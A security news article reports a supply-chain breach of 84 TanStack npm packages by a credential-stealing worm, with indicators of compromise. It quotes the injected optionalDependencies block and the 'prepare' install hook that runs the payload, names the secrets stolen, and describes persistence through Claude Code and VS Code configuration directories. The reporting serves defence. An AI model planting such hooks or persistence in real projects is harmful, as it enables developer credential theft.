84 npm Packages Linked to TanStack Hit by Supply-Chain Breach

A massive supply chain breach affecting 84 npm packages within the widely used TanStack ecosystem.

Malicious actors compromised these packages by injecting a sophisticated credential-stealing tool designed to target continuous integration environments such as GitHub Actions.

Packages such as React Router, which sees over 12 million weekly downloads, were modified, posing a severe threat to the global development pipeline.

Security analysts at Socket noted that their artificial intelligence scanner successfully flagged all compromised package artifacts within six minutes of their initial publication.

The incident is part of a rapidly expanding malware campaign dubbed Mini Shai-Hulud, which has now crossed boundaries between the npm and Python Package Index ecosystems.

Following the initial TanStack breach, threat researchers confirmed that the campaign infected additional high-profile packages, including OpenSearch, Mistral AI, Guardrails AI, and UiPath.

A taunting message left on the attacker’s infrastructure, signed by TeamPCP, indicated that the operators had been actively stealing developer credentials for hours while the campaign was under investigation.

84 npm TanStack Packages Supply-Chain Breach

The core of the compromise revolves around a heavily obfuscated script file, router_init.js, which acts as a self-contained supply-chain worm. The massive payload utilizes extensive string rotation and hex encoding to hide its true intentions from static analysis tools.

Upon execution, the payload detaches from the parent terminal session and runs silently in the background.

The malware then systematically sweeps the compromised environment for sensitive secrets, explicitly targeting GitHub Actions workflow tokens, Amazon Web Services metadata instances, Kubernetes service account certificates, and HashiCorp Vault clusters.

The malware injects the following malicious optionalDependencies block into a targeted project’s package.json file:

json  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }

This points to a standalone, malicious commit hosted on GitHub. This commit contains a package.json file with a critical prepare lifecycle hook:

json{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

Because npm automatically triggers prepare scripts when resolving git-based dependencies, the tanstack_runner.js payload executes immediately during npm install, infecting the developer’s machine or the continuous integration pipeline.

Rather than relying on traditional command-and-control servers, the implant exfiltrates stolen credentials via the Session decentralized peer-to-peer network.

This routing method makes the malicious data traffic appear nearly identical to standard encrypted messaging telemetry. To ensure long-term persistence on developer machines, the malware writes hidden copies of itself into local Claude Code and Visual Studio Code configuration directories.

This insidious tactic ensures the credential stealer restarts automatically whenever a compromised developer opens their project workspace or uses integrated artificial intelligence coding assistants.

Chained Actions Attack and Pipeline Propagation

TanStack maintainers published a detailed postmortem attributing the breach to a chained attack against their GitHub Actions pipeline.

The attackers exploited a vulnerable pull request target pattern to poison the workflow cache and execute malicious code during automated testing. Crucially, the threat actors did not steal static npm publishing tokens.

Instead, they extracted runtime OpenID Connect tokens directly from the runner process memory. This allowed the attackers to authenticate legitimately through trusted publisher bindings and push compromised updates to the npm registry.

The automated propagation mechanism relies on modifying the package configuration file to include a malicious optional dependency. This dependency points directly to a standalone GitHub commit authored by a compromised account named voicproducoes.

When a developer installs the compromised TanStack package, the package manager automatically triggers a lifecycle hook that downloads and executes an additional runner payload.

TanStack has since deprecated the affected versions, purged their workflow caches, and implemented strict repository guards. We strongly recommend that developers inspect their environments for unexpected script files and rotate all cloud secrets immediately.

Indicators of Compromise (IOCs)

Files

router_init.js / router_runtime.js

• SHA256 ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
• SHA1 12ed9a3c1f73617aefdb740480695c04405d7b4b
• MD5 833fd59ebe66a4449982c6d18db656b4

tanstack_runner.js / router_init.js

• SHA256 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
• SHA1 e7d582b98ca80690883175470e96f703ef6dc497
• MD5 b82e54923f7e440664d2d75bd31588ca

Network

hxxp://filev2[.]getsession[.]org/file/

(DO NOT BLOCK below)

• hxxp://169[.]254[.]169[.]254/latest/api/token (AWS EC2 IMDSv2 token acquisition)
• hxxp://169[.]254[.]170[.]2 (AWS ECS Task Metadata Endpoint credential harvest)
• hxxps://api[.]github[.]com/repos/ (GitHub REST API – secrets enumeration and repo manipulation)
• hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens (npm token validation)
• vault[.]svc[.]cluster[.]local:8200 (In-cluster HashiCorp Vault API endpoint)

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.